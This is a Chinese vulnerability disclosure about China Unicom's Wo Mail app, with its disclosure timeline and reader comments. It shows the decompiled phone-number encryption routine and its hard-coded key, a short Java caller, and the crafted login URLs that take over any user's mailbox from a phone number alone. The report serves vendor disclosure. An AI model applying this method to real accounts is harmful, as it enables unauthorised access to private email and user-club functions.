2016-03-14: 细节已通知厂商并且等待厂商处理中 2016-03-18: 厂商已经确认,细节仅向厂商公开 2016-03-28: 细节向核心白帽子及相关领域专家公开 2016-04-07: 细节向普通白帽子公开 2016-04-17: 细节向实习白帽子公开 2016-05-02: 细节向公众公开
中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程
联通沃邮箱:
由于联通出现过多次问题,明显更加重视安全,所以测试常规的点后都没问题,把目光转向其他地方,最下面的发现功能:此处需要联合登录,并且在此页面可以重新载入邮箱功能
果然,抓到了如下请求:
GET /appFound/redirect.do?mdn=B7568B90AE4A8DBF05835CB0F1DB4F77FD650AF8F9B91B72C5423AA6B78AC90DC096F9545EC659BD3662892B51FABEE145B0B9F7B9D7A22E074C4AF92F9A6B67&actionType=club_index HTTP/1.1Host: **.**.**.**:7102Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Linux; Android 5.1.1; A0001 Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.121 Mobile Safari/537.36Referer: Accept-Encoding: gzip, deflateAccept-Language: zh-CN,en-US;q=0.8Cookie: Connection: close
{ "resultCode": 0, "url": "http://**.**.**.**/port/login.shtml?param={\"phoneNum\" : \"465C4CD8BA559F65CA6FCBFB6618B7E3ED7FC547A559EEF9B3C8AF9BFF7697203C6DF7B4BD803C2B13760692C676ED7794BB79A076D31609D3396659A2768670\",\"channelId\" : \"F98CA05AAE2943443FE29CFCCA2B39048E5E764A5272623D375D617FD3E92CD39C92DBB740441DFE531719C64BCBA1BA5610A9E3D497F98C746D8AF9174C0A73\",\"backUrl\" : \"http://**.**.**.**/wap/recommend/index.html\"}", "demo": null}
访问如上url,即可登录账号:
因此把目标放在了这个请求上:
**.**.**.**:7102/appFound/redirect.do?mdn=B7568B90AE4A8DBF05835CB0F1DB4F77FD650AF8F9B91B72C5423AA6B78AC90DC096F9545EC659BD3662892B51FABEE145B0B9F7B9D7A22E074C4AF92F9A6B67&actionType=club_index
推测这里的mdn为手机号码,在抓到的其他url中,也能看到mdn的值被当作phoneNum的值然后是验证:访问其他功能,得到了一个接口可以解析该字符串,但是只能解析纯数字,所有其他请求中的参数没办法解析,全是乱码
http://**.**.**.**:7102/appFound/loadTask.do?platform=android&phoneNum=B7568B90AE4A8DBF05835CB0F1DB4F77FD650AF8F9B91B72C5423AA6B78AC90DC096F9545EC659BD3662892B51FABEE145B0B9F7B9D7A22E074C4AF92F9A6B67
验证正确,证明该加密串就是手机号码说明此处存在一处越权,只要用户手机号码就可以生成登录用的链接问题来了:该手机号码被加密了,尝试直接使用手机号码失败整理一下思路:1、反编译apk,找加密算法2、使用xposed+改号软件反编译apk:找到调用的代码:afv.class
void a(String paramString) { this.P = paramString; this.Q = (WoMailApplication.f().getInt("leaveFlow", 0) + ""); tc.d("", "mmm...发现界面传值 phoneNum=" + this.P + " leftFlow=" + this.Q); if ((!TextUtils.isEmpty(this.P)) && (!this.P.equals("")) && (!this.P.startsWith("20"))) { this.C += sx.a("scoreyijie", this.P); this.P = sx.a("scoreyijie", this.P); this.Q = sx.a("scoreyijie", this.Q); this.z = ("http://**.**.**.**:7102/appFound/appFound.do?phoneNum=" + this.P + "&leftFlow=" + this.Q + "&platform=" + "android"); this.y = this.z; aih.a(true, "mainUrl = " + this.y); aih.a(true, "firstStart = " + this.u);
sx.class
import java.util.Random;public class sx{ private static int[] a = { 18, 46, 52, 22, 39, 0, 58, 54, 23, 37, 38, 25, 42, 36, 62, 30, 41, 14, 7, 50, 8, 9, 51, 59, 21, 15, 34, 45, 56, 3, 55, 28, 49, 32, 35, 20, 24, 53, 33, 40, 11, 17, 26, 31, 48, 5, 43, 29, 44, 12, 1, 19, 4, 13, 16, 27, 57, 47, 2, 6, 63, 10, 61, 60 }; private static int[] b = { 5, 50, 58, 29, 52, 45, 59, 18, 20, 21, 61, 40, 49, 53, 17, 25, 54, 41, 0, 51, 35, 24, 3, 8, 36, 11, 42, 55, 31, 47, 15, 43, 33, 38, 26, 34, 13, 9, 10, 4, 39, 16, 12, 46, 48, 27, 1, 57, 44, 32, 19, 22, 2, 37, 7, 30, 28, 56, 6, 23, 63, 62, 14, 60 }; private static byte[] c = { 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 65, 66, 67, 68, 69, 70 }; private static String a() { return "=01="; } public static String a(String paramString) { return sz.a((a() + paramString + b()).getBytes()); } public static String a(String paramString1, String paramString2) { int j = 0; byte[] arrayOfByte = new byte[64]; new Random(System.currentTimeMillis()).nextBytes(arrayOfByte); paramString2 = paramString2.getBytes(); int i = 0; while ((i < paramString2.length) && (i < 64)) { arrayOfByte[i] = paramString2[i]; i += 1; } if (paramString2.length < 64) { arrayOfByte[paramString2.length] = 0; } paramString1 = paramString1.getBytes(); i = j; while (i < arrayOfByte.length) { arrayOfByte[i] = ((byte)(arrayOfByte[i] + paramString1[(i % paramString1.length)])); i += 1; } return a(a(arrayOfByte, a)); } private static String a(byte[] paramArrayOfByte) { if ((paramArrayOfByte == null) || (paramArrayOfByte.length == 0)) { return ""; } byte[] arrayOfByte = new byte[paramArrayOfByte.length * 2]; int i = 0; while (i < paramArrayOfByte.length) { arrayOfByte[(i * 2 + 0)] = c[(paramArrayOfByte[i] & 0xF)]; arrayOfByte[(i * 2 + 1)] = c[((paramArrayOfByte[i] & 0xF0) >> 4)]; i += 1; } return new String(arrayOfByte); } private static byte[] a(byte[] paramArrayOfByte, int[] paramArrayOfInt) { byte[] arrayOfByte = new byte[paramArrayOfByte.length]; int i = 0; while (i < arrayOfByte.length) { arrayOfByte[i] = paramArrayOfByte[paramArrayOfInt[i]]; i += 1; } return arrayOfByte; } private static String b() { return "ailk_unicom.mail"; } public static String b(String paramString1, String paramString2) { paramString2 = a(b(paramString2), b); paramString1 = paramString1.getBytes(); int i = 0; while (i < paramString2.length) { paramString2[i] = ((byte)(paramString2[i] - paramString1[(i % paramString1.length)])); i += 1; } i = 0; for (;;) { int j; if (i >= 64) { j = 64; } do { return new String(paramString2, 0, j); j = i; } while (paramString2[i] == 0); i += 1; } } private static byte[] b(String paramString) { if ((paramString == null) || (paramString.length() != 128)) { throw new IllegalArgumentException(); } byte[] arrayOfByte = new byte[64]; int j = 0; if (j < 64) { int k = paramString.charAt(j * 2 + 0); int m = paramString.charAt(j * 2 + 1); if ((k >= 48) && (k <= 57)) { k = (byte)(k - 48 + 0); label77: if ((m < 48) || (m > 57)) { break label149; } } for (int i = (byte)(k + (m - 48) * 16);; i = (byte)(k + (m - 65 + 10) * 16)) { arrayOfByte[j] = i; j += 1; break; if ((k >= 65) && (k <= 70)) { k = (byte)(k - 65 + 10 + 0); break label77; } throw new IllegalArgumentException(); label149: if ((m < 65) || (m > 70)) { break label181; } } label181: throw new IllegalArgumentException(); } return arrayOfByte; }}
然后写代码调用该加密函数:
public class LianTong { public static void main(String args []){ String liantong = sx.a("scoreyijie", "18566666666"); System.out.println(liantong); }}
搞定,得到手机号码对应的加密串:
拿去验证一下:
得到加密串了,就可以用来获取该手机号码的登录请求:
浏览器中打开请求即可:
http://**.**.**.**/port/login.shtml?param={"phoneNum" : "9F4C8C1E9A55F92A0A52FDB7431D73CF629CE5C1C5798000C28A23DC0096610546FE7F0999657127136D448CF296137F79A8798C968AF674F77266790496DEDD","channelId" : "437CE09F8E29AD097ED5CEB8A720F4EF037BAFC4709B0443461FE4B0E3E9F5B8A624530C2C2952FA120E57B077AED6B23B0DA9CFD44EDAF798A68A67784552D0","backUrl" : "http://**.**.**.**/wap/recommend/index.html"}
点击发邮件旁边的空白处,跳转沃邮箱:
给我自己发封邮件:
还有用户俱乐部的所有功能都会受到影响
危害等级:中
漏洞Rank:9
确认时间:2016-03-18 15:46
CNVD未复现所述情况,已经转由CNCERT向中国联合网络通信集团有限公司通报,由其后续协调网站管理部门处置.
暂无
前排围观
安全大飞侠
前排围观~!
4楼
@沦沦 窘了个窘,哈哈
雷
雷雷
又来了。。。
打雷啦 下雨了,起来收衣服了
围观
干的漂亮
6666
强势围观,好同志
82分+6 6 6
围观!
后排吃瓜看洞~
.
你有条大屌
打雷啦下雨啦,ccav看这里啦
666666
联通都被鲁穿多少次了,真是受不了这运营商的尿性
NB!
强势插入。。。
膜都捅破了
细心决定成败,表哥厉害